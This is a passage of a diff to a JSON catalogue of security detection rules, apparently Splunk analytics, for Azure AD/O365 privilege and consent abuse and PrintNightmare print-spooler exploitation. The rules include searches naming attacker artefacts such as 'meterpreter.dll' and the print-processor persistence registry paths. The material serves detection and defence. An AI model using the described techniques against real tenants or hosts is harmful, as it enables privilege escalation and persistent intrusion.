indicated by the \"Add member to role completed (PIM activation)\" operation. Monitoring this activity is crucial as PIM roles grant elevated privileges, and unauthorized activation could indicate an adversary attempting to gain privileged access. If confirmed malicious, this could lead to unauthorized administrative actions, data breaches, or further compromise of the Azure environment.", - "search": " `azure_monitor_aad` operationName=\"Add member to role completed (PIM activation)\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user values(targetResources{}.displayName) as displayName by initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_pim_role_assignment_activated_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An Azure AD PIM role assignment was activated by $initiatedBy$ by $user$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Privileged Role Assigned", - "description": "The following analytic detects the assignment of privileged Azure Active Directory roles to a user. It leverages Azure AD audit logs, specifically monitoring the \"Add member to role\" operation. This activity is significant as adversaries may assign privileged roles to compromised accounts to maintain persistence within the Azure AD environment. If confirmed malicious, this could allow attackers to escalate privileges, access sensitive information, and maintain long-term control over the Azure AD infrastructure.", - "search": " `azure_monitor_aad` \"operationName\"=\"Add member to role\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.modifiedProperties{}.newValue as roles | eval role=mvindex(roles,1) | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by initiatedBy, result, operationName, role | lookup privileged_azure_ad_roles azureadrole AS role OUTPUT isprvilegedadrole description | search isprvilegedadrole = True | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "A privileged Azure AD role was assigned for User $user$ initiated by $initiatedBy$", - "risk_score": 63, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Privileged Role Assigned to Service Principal", - "description": "The following analytic detects the assignment of privileged roles to service principals in Azure Active Directory (AD). It leverages the AuditLogs log category from ingested Azure AD events. This activity is significant because assigning elevated permissions to non-human entities can lead to unauthorized access or malicious activities. If confirmed malicious, attackers could exploit these service principals to gain elevated access to Azure resources, potentially compromising sensitive data and critical infrastructure. Monitoring this behavior helps prevent privilege escalation and ensures the security of Azure environments.", - "search": " `azure_monitor_aad` operationName=\"Add member to role\" | rename properties.* as * | search \"targetResources{}.type\"=ServicePrincipal | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.modifiedProperties{}.newValue as roles | eval role=mvindex(roles,1) | rename targetResources{}.displayName as apps | eval displayName=mvindex(apps,0) | stats count min(_time) as firstTime max(_time) as lastTime values(displayName) as displayName by initiatedBy, result, operationName, role | lookup privileged_azure_ad_roles azureadrole AS role OUTPUT isprvilegedadrole description | search isprvilegedadrole = True | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_role_assigned_to_service_principal_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Privilege Escalation", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A privileged Azure AD role was assigned to the Service Principal $displayName$ initiated by $initiatedBy$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Tenant Wide Admin Consent Granted", - "description": "The following analytic identifies instances where admin consent is granted to an application within an Azure AD tenant. It leverages Azure AD audit logs, specifically events related to the admin consent action within the ApplicationManagement category. This activity is significant because admin consent allows applications to access data across the entire tenant, potentially exposing vast amounts of organizational data. If confirmed malicious, an attacker could gain extensive and persistent access to sensitive data, leading to data exfiltration, espionage, further malicious activities, and potential compliance violations.", - "search": "`azure_monitor_aad` operationName=\"Consent to application\" | eval new_field=mvindex('properties.targetResources{}.modifiedProperties{}.newValue', 4) | rename properties.* as * | rex field=new_field \"ConsentType: (?[^\\,]+)\" | rex field=new_field \"Scope: (?[^\\,]+)\" | search ConsentType = \"AllPrincipals\" | stats count min(_time) as firstTime max(_time) as lastTime by operationName, user, targetResources{}.displayName, targetResources{}.id, ConsentType, Scope | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_tenant_wide_admin_consent_granted_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Administrator $user$ consented an OAuth application for the tenant.", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Admin Consent Bypassed by Service Principal", - "description": "The following analytic identifies instances where a service principal in Office 365 Azure Active Directory assigns app roles without standard admin consent. It leverages `o365_management_activity` logs, specifically focusing on the 'Add app role assignment to service principal' operation. This activity is significant for SOCs as it may indicate a bypass of critical administrative controls, potentially leading to unauthorized access or privilege escalation. If confirmed malicious, this could allow an attacker to misuse automated processes to assign sensitive permissions, compromising the security of the environment.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Add app role assignment to service principal.\" | eval len=mvcount('Actor{}.ID') | eval userType = mvindex('Actor{}.ID',len-1) | eval roleId = mvindex('ModifiedProperties{}.NewValue', 0) | eval roleValue = mvindex('ModifiedProperties{}.NewValue', 1) | eval roleDescription = mvindex('ModifiedProperties{}.NewValue', 2) | eval dest_user = mvindex('Target{}.ID', 0) | search userType = \"ServicePrincipal\" | eval src_user = user | stats count earliest(_time) as firstTime latest(_time) as lastTime by src_user dest_user roleId roleValue roleDescription | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_admin_consent_bypassed_by_service_principal_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Service principal $src_user$ bypassed the admin consent process and granted permissions to $dest_user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 FullAccessAsApp Permission Assigned", - "description": "The following analytic detects the assignment of the 'full_access_as_app' permission to an application registration in Office 365 Exchange Online. This detection leverages Office 365 management activity logs and filters Azure Active Directory workload events to identify when the specific permission, identified by GUID 'dc890d15-9560-4a4c-9b7f-a736ec74ec40', is granted. This activity is significant because it provides extensive control over Office 365 operations, including access to all mailboxes and the ability to send mail as any user. If confirmed malicious, this could lead to unauthorized data access, exfiltration, or account compromise. Immediate investigation is required.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update application.\" | eval newvalue = mvindex('ModifiedProperties{}.NewValue',0) | spath input=newvalue | search \"{}.ResourceAppId\"=\"00000002-0000-0ff1-ce00-000000000000\" \"{}.RequiredAppPermissions{}.EntitlementId\"=\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | stats count earliest(_time) as firstTime latest(_time) as lastTime values(Permissions) by user, object, user_agent, Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_fullaccessasapp_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ assigned the full_access_as_app permission to the app registration $object$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 High Privilege Role Granted", - "description": "The following analytic detects when high-privilege roles such as \"Exchange Administrator,\" \"SharePoint Administrator,\" or \"Global Administrator\" are granted within Office 365. It leverages O365 audit logs to identify events where these roles are assigned to any user or service account. This activity is significant for SOCs as these roles provide extensive permissions, allowing broad access and control over critical resources and data. If confirmed malicious, this could enable attackers to gain significant control over O365 resources, access, modify, or delete critical data, and compromise the overall security and functionality of the O365 environment.", - "search": "`o365_management_activity` Operation=\"Add member to role.\" Workload=AzureActiveDirectory | eval role_id = mvindex('ModifiedProperties{}.NewValue',2) | eval role_name = mvindex('ModifiedProperties{}.NewValue',1) | where role_id IN (\"29232cdf-9323-42fd-ade2-1d097af3e4de\", \"f28a1f50-f6e7-4571-818b-6a12f2af6b6c\", \"62e90394-69f5-4237-9190-012177145e10\") | stats earliest(_time) as firstTime latest(_time) as lastTime by user Operation ObjectId role_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_high_privilege_role_granted_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ granted high privilege roles to $ObjectId$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Read Access Granted to Application", - "description": "The following analytic identifies instances where the Mail.Read Graph API permissions are granted to an application registration within an Office 365 tenant. It leverages O365 audit logs, specifically events related to changes in application permissions within the AzureActiveDirectory workload. This activity is significant because the Mail.Read permission allows applications to access and read all emails within a user's mailbox, which often contain sensitive or confidential information. If confirmed malicious, this could lead to data exfiltration, spear-phishing attacks, or further compromise based on the information gathered from the emails.", - "search": "`o365_management_activity` Operation=\"Update application.\" | eval json_data=mvindex('ModifiedProperties{}.NewValue', 0) | eval json_data=replace(json_data, \"^\\[\\s*\", \"\") | eval json_data=replace(json_data, \"\\s*\\]$\", \"\") | spath input=json_data path=RequiredAppPermissions{}.EntitlementId output=EntitlementIds | eval match_found=mvfind(EntitlementIds, \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\") | where isnotnull(match_found) | stats max(_time) as lastTime values(EntitlementIds) as EntitlementIds by Operation, user, object | `security_content_ctime(lastTime)` | `o365_mailbox_read_access_granted_to_application_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Application registration $object$ was grandes mailbox read access by $user$", - "risk_score": 45, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Tenant Wide Admin Consent Granted", - "description": "The following analytic identifies instances where admin consent is granted to an application within an Azure AD and Office 365 tenant. It leverages O365 audit logs, specifically events related to the admin consent action within the AzureActiveDirectory workload. This activity is significant because admin consent allows applications to access data across the entire tenant, potentially exposing vast amounts of organizational data. If confirmed malicious, an attacker could gain extensive and persistent access to organizational data, leading to data exfiltration, espionage, further malicious activities, and potential compliance violations.", - "search": "`o365_management_activity` Operation=\"Consent to application.\" | eval new_field=mvindex('ModifiedProperties{}.NewValue', 4) | rex field=new_field \"ConsentType: (?[^\\,]+)\" | rex field=new_field \"Scope: (?[^\\,]+)\" | search ConsentType = \"AllPrincipals\" | stats count min(_time) as firstTime max(_time) as lastTime by Operation, user, object, ObjectId, ConsentType, Scope | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_tenant_wide_admin_consent_granted_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The $object$ application registration was granted tenant wide admin consent.", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -207221,436 +161983,6 @@ "https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Features/Features.html", "https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode" ] - }, - { - "name": "Print Processor Registry Autostart", - "description": "The following analytic detects suspicious modifications or new entries in the Print Processor registry path. It leverages registry activity data from the Endpoint data model to identify changes in the specified registry path. This activity is significant because the Print Processor registry is known to be exploited by APT groups like Turla for persistence and privilege escalation. If confirmed malicious, this could allow an attacker to execute a malicious DLL payload by restarting the spoolsv.exe process, leading to potential control over the compromised machine.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\Control\\\\Print\\\\Environments\\\\Windows x64\\\\Print Processors*\" by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `print_processor_registry_autostart_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $Registry.registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Print Spooler Adding A Printer Driver", - "description": "The following analytic detects the addition of new printer drivers by monitoring Windows PrintService operational logs, specifically EventCode 316. This detection leverages log data to identify messages indicating the addition or update of printer drivers, such as \"kernelbase.dll\" and \"UNIDRV.DLL.\" This activity is significant as it may indicate exploitation attempts related to vulnerabilities like CVE-2021-34527 (PrintNightmare). If confirmed malicious, attackers could gain code execution or escalate privileges, potentially compromising the affected system. Immediate isolation and investigation of the endpoint are recommended.", - "search": "`printservice` EventCode=316 category = \"Adding a printer driver\" Message = \"*kernelbase.dll,*\" Message = \"*UNIDRV.DLL,*\" Message = \"*.DLL.*\" | stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `print_spooler_adding_a_printer_driver_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ComputerName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious print driver was loaded on endpoint $ComputerName$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Print Spooler Failed to Load a Plug-in", - "description": "The following analytic detects driver load errors in the Windows PrintService Admin logs, specifically identifying issues related to CVE-2021-34527 (PrintNightmare). It triggers on error messages indicating the print spooler failed to load a plug-in module, such as \"meterpreter.dll,\" with error code 0x45A. This detection method leverages specific event codes and error messages. This activity is significant as it may indicate an exploitation attempt of a known vulnerability. If confirmed malicious, an attacker could gain unauthorized code execution on the affected system, leading to potential system compromise.", - "search": "`printservice` ((ErrorCode=\"0x45A\" (EventCode=\"808\" OR EventCode=\"4909\")) OR (\"The print spooler failed to load a plug-in module\" OR \"\\\\drivers\\\\x64\\\\\")) | stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `print_spooler_failed_to_load_a_plug_in_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ComputerName", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious printer spooler errors have occured on endpoint $ComputerName$ with EventCode $EventCode$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Spawning Rundll32", - "description": "The following analytic detects the spawning of `rundll32.exe` without command-line arguments by `spoolsv.exe`, which is unusual and potentially indicative of exploitation attempts like CVE-2021-34527 (PrintNightmare). This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where `spoolsv.exe` is the parent process. This activity is significant as `spoolsv.exe` typically does not spawn other processes, and such behavior could indicate an active exploitation attempt. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence on the compromised endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=spoolsv.exe `process_rundll32` by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_spawning_rundll32_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "$parent_process_name$ has spawned $process_name$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Suspicious Loaded Modules", - "description": "The following analytic detects the suspicious loading of DLLs by spoolsv.exe, potentially indicating PrintNightmare exploitation. It leverages Sysmon EventCode 7 to identify instances where spoolsv.exe loads multiple DLLs from the Windows System32 spool drivers x64 directory. This activity is significant as it may signify an attacker exploiting the PrintNightmare vulnerability to execute arbitrary code. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, and persistent access within the environment, posing a severe security risk.", - "search": "`sysmon` EventCode=7 Image =\"*\\\\spoolsv.exe\" ImageLoaded=\"*\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\*\" ImageLoaded = \"*.dll\" | stats dc(ImageLoaded) as countImgloaded values(ImageLoaded) as ImageLoaded count min(_time) as firstTime max(_time) as lastTime by Image Computer ProcessId EventCode | rename Computer as dest | where countImgloaded >= 3 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_suspicious_loaded_modules_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$Image$ with process id $ProcessId$ has loaded a driver from $ImageLoaded$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Writing a DLL", - "description": "The following analytic detects `spoolsv.exe` writing a `.dll` file, which is unusual behavior and may indicate exploitation of vulnerabilities like CVE-2021-34527 (PrintNightmare). This detection leverages the Endpoint datamodel, specifically monitoring process and filesystem events to identify `.dll` file creation within the `\\spool\\drivers\\x64\\` path. This activity is significant as it may signify an attacker attempting to execute malicious code via the Print Spooler service. If confirmed malicious, this could lead to unauthorized code execution and potential system compromise. Immediate endpoint isolation and further investigation are recommended.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=spoolsv.exe by _time Processes.process_guid Processes.process_name Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path=\"*\\\\spool\\\\drivers\\\\x64\\\\*\" Filesystem.file_name=\"*.dll\" by _time Filesystem.dest Filesystem.process_guid Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process_guid process] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name process_guid | `spoolsv_writing_a_dll_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] 